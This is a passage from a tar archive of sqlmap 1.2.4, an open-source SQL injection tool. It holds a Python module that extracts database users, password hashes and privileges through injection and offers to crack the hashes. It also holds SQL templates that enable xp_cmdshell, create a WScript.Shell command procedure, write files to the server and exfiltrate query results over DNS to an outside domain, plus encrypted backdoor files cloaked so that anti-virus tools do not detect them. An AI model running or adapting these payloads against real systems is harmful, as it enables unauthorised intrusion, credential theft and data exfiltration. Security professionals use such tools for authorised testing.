(regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.delRegKey(regKey, regVal) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/generic/users.py���������������������������������������������������������������0000664�0000000�0000000�00000063772�13260122637�0017644�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import getUnicode from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DB2_PRIVS from lib.core.dicts import FIREBIRD_PRIVS from lib.core.dicts import INFORMIX_PRIVS from lib.core.dicts import MYSQL_PRIVS from lib.core.dicts import PGSQL_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable class Users: """ This class defines users' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentUser = "" kb.data.isDba = None kb.data.cachedUsers = [] kb.data.cachedUsersPasswords = {} kb.data.cachedUsersPrivileges = {} kb.data.cachedUsersRoles = {} def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "0x%s" % hexencode(password, conf.encoding).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the DBMS " errMsg += "current user has no read privileges over the relevant " errMsg += "system database table(s))" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': pass elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] if len(privs) > 1: privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in PGSQL_PRIVS.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warn(warnMsg) return self.getPrivileges(query2) ������sqlmap-1.2.4/procs/���������������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0014143�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/README.txt�����������������������������������������������������������������������0000664�0000000�0000000�00000000273�13260122637�0015643�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������Files in this folder represent SQL snippets used by sqlmap on the target system. They are licensed under the terms of the GNU Lesser General Public License where not specified otherwise. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/���������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016531�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/activate_sp_oacreate.sql���������������������������������������������0000664�0000000�0000000�00000000243�13260122637�0023416�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'ole automation procedures',1; RECONFIGURE WITH OVERRIDE �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/configure_openrowset.sql���������������������������������������������0000664�0000000�0000000�00000000366�13260122637�0023525�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������EXEC master..sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE WITH OVERRIDE ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/configure_xp_cmdshell.sql��������������������������������������������0000664�0000000�0000000�00000000354�13260122637�0023617�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/create_new_xp_cmdshell.sql�������������������������������������������0000664�0000000�0000000�00000000415�13260122637�0023750�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������DECLARE @%RANDSTR% nvarchar(999); set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/disable_xp_cmdshell_2000.sql�����������������������������������������0000664�0000000�0000000�00000000057�13260122637�0023702�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������EXEC master..sp_dropextendedproc 'xp_cmdshell' ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/dns_request.sql������������������������������������������������������0000664�0000000�0000000�00000000305�13260122637�0021604�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������DECLARE @host varchar(1024); SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') # or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/enable_xp_cmdshell_2000.sql������������������������������������������0000664�0000000�0000000�00000000106�13260122637�0023520�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll' ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mssqlserver/run_statement_as_user.sql��������������������������������������������0000664�0000000�0000000�00000000515�13260122637�0023664�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%') # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%') # SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%') �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mysql/���������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015310�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mysql/dns_request.sql������������������������������������������������������������0000664�0000000�0000000�00000000125�13260122637�0020363�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%')) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/mysql/write_file_limit.sql�������������������������������������������������������0000664�0000000�0000000�00000000110�13260122637�0021350�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/oracle/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015410�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/oracle/dns_request.sql�����������������������������������������������������������0000664�0000000�0000000�00000000267�13260122637�0020472�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL # or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/postgresql/����������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016346�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/procs/postgresql/dns_request.sql�������������������������������������������������������0000664�0000000�0000000�00000001030�13260122637�0021415�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������DROP TABLE IF EXISTS %RANDSTR1%; # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ DECLARE %RANDSTR4% TEXT; DECLARE %RANDSTR5% TEXT; BEGIN SELECT INTO %RANDSTR5% (%QUERY%); %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; EXECUTE %RANDSTR4%; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT %RANDSTR3%();��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/���������������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0014124�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/README.txt�����������������������������������������������������������������������0000664�0000000�0000000�00000001245�13260122637�0015624�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/backdoors/�����������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016073�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/backdoors/backdoor.asp_����������������������������������������������������������0000664�0000000�0000000�00000000363�13260122637�0020525�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ…ŽË1ÃOo:÷þŠ‘Z(ÉÆü€‰{©ni^: /º?ªÚu>mcxÁßÓð% îCžÎ#Áˆ>x½©LGGxƒöjR0Rb® Ï'¹ˆ–YÕê®àæ%f�\Fž¤ &”TóÅ"JRš÷ñ@꨺8AxbaŽDP_Õ¡ö Å—v8`öøíXH3¡x¥;í^uV‘øV†âvD}ð˜ ù†j;”•%jh—™ÜS•p3ßçéí \×’œÂ}‚nÞK棫½ˆû¾õ¶‰ì/Âm=ÄNnìóúë~ãÐ\òÒIqçA@yi{ä|¡.�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/backdoors/backdoor.aspx_���������������������������������������������������������0000664�0000000�0000000�00000000641�13260122637�0020714�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ…-ÛÜOo÷(3*}!%¼`°ë¥ZÙÀ=ÒÝ”A„-kÖ*°Z9ÚY”ü8¾o—yêx4š ÎÌ™‘Ö`à9×w(ÚÕ.I¥E�«à}ï"ª?njÜ’Im@ê†å ¶ÉÖ]Úµ§Ÿ ‹Üõøá‰|¶Å…Õµóc¬áÿ“×|‡rÙQÌ3gN>Ñé/U9E^©2 ò¶êÍ¿òºÊýý|šŒ®=pÛlºð‘y#¿L|&(ƒTW@\ WA8¤§<ÜVÔ·*Ö³÷âÍDÆâTÙ€¹%„dµ'õ B=žò¼VÁŦ&ôÁ¡ÊTÚí\šW«Wi‚ç×S§]ÏÙè ÒŽ82õÔÎrƒÌ‡ 